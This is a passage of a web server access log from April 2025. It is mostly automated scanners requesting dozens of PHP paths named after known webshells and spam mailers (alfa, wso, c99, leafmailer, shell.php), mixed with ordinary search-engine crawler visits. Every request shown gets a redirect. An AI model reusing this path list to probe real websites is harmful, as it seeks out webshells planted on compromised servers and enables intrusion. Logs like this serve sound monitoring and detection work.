795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:22:14 -0400] "GET /ups.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:22:19 -0400] "GET /ru.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:22:24 -0400] "GET /if.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:22:28 -0400] "GET /vuln.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:22:33 -0400] "GET /fw.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:22:39 -0400] "GET /skipper.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:22:44 -0400] "GET /skippershell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:22:49 -0400] "GET /tttt.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:22:54 -0400] "GET /tshop.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:23:01 -0400] "GET /alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:23:07 -0400] "GET /shell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:23:11 -0400] "GET /inje3ctor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:23:14 -0400] "GET /saudi.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:23:18 -0400] "GET /wso.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:23:21 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:23:25 -0400] "GET /my_alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:23:28 -0400] "GET /uploader.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:23:31 -0400] "GET /up.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:23:34 -0400] "GET /hacked.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:23:38 -0400] "GET /c99.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:23:41 -0400] "GET /priv8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:23:44 -0400] "GET /Navir.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:23:46 -0400] "GET /cmd13.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:23:49 -0400] "GET /inc20k1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:23:52 -0400] "GET /1index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:23:57 -0400] "GET /404.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:24:01 -0400] "GET /swm.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:24:05 -0400] "GET /wp.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:24:08 -0400] "GET /doc.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:24:11 -0400] "GET /shx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:24:14 -0400] "GET /ws.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:24:18 -0400] "GET /m.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:24:21 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:24:26 -0400] "GET /LEAF.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:24:29 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:24:32 -0400] "GET /mailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:24:34 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:24:37 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:24:41 -0400] "GET /leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:24:44 -0400] "GET /x.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:24:46 -0400] "GET /srx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:24:50 -0400] "GET /1337.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:24:53 -0400] "GET /xx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:24:55 -0400] "GET /XxX.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:24:58 -0400] "GET /lf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:25:01 -0400] "GET /alex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:25:04 -0400] "GET /new.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:25:08 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:25:12 -0400] "GET /gaza.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:25:15 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:25:19 -0400] "GET /3index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:25:23 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:25:26 -0400] "GET /wso1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:25:29 -0400] "GET /bb.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:25:33 -0400] "GET /Lux.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.51.231 - - [17/Apr/2025:10:25:35 -0400] "GET /haxor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 54.236.1.13 - - [17/Apr/2025:10:40:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 43.130.60.195 - - [17/Apr/2025:11:58:51 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [17/Apr/2025:12:17:52 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:12:17:55 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:12:18:01 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:12:18:30 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:12:18:46 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:12:19:24 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:12:20:01 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:12:20:29 -0400] "GET /.well-known/pki-validation/x.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:12:20:51 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:12:21:00 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:12:21:19 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:12:21:31 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:12:22:11 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 79.127.142.54 - - [17/Apr/2025:12:42:10 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 188.166.247.40 - - [17/Apr/2025:12:44:29 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 188.166.247.40 - - [17/Apr/2025:12:44:44 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 188.166.247.40 - - [17/Apr/2025:12:45:02 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 188.166.247.40 - - [17/Apr/2025:12:45:23 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 80.85.247.161 - - [17/Apr/2025:12:45:43 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 188.166.247.40 - - [17/Apr/2025:12:45:48 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 188.166.247.40 - - [17/Apr/2025:12:46:06 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 50.16.248.61 - - [17/Apr/2025:12:57:14 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36" 34.195.248.30 - - [17/Apr/2025:12:57:19 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36" 62.197.146.23 - - [17/Apr/2025:13:22:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 4.227.36.67 - - [17/Apr/2025:13:39:45 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 2607:5300:218:4700:: - - [17/Apr/2025:13:55:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Faraday v2.11.0" 66.249.64.164 - - [17/Apr/2025:14:11:10 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.64.164 - - [17/Apr/2025:14:11:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 182.42.105.144 - - [17/Apr/2025:14:44:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.123.25.223 - - [17/Apr/2025:14:55:21 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:23 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:23 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:24 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:25 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:25 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:26 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:27 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:27 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:29 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:29 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:29 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:30 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:30 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:31 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:32 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:32 -0400] "GET /.well-known//index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:32 -0400] "GET /libraries/phpmailer//index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:33 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:34 -0400] "GET /wp-admin/css/colors/blue//1.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:34 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:35 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:35 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:36 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:36 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:37 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:38 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:38 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:39 -0400] "GET /wp-includes/css//xc.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:39 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:39 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:40 -0400] "GET /wp//index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:40 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:41 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:41 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:41 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:42 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:42 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:42 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:43 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:43 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:43 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:43 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:44 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:44 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:44 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:45 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:45 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:45 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:46 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:46 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:47 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:47 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:47 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:48 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:48 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:49 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:49 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:50 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:50 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:51 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:51 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:52 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:52 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:52 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:53 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:53 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:54 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:54 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:55 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:55 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:56 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:56 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:57 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:58 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:59 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:59 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:55:59 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:56:00 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:56:00 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:56:01 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 40.123.25.223 - - [17/Apr/2025:14:56:01 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 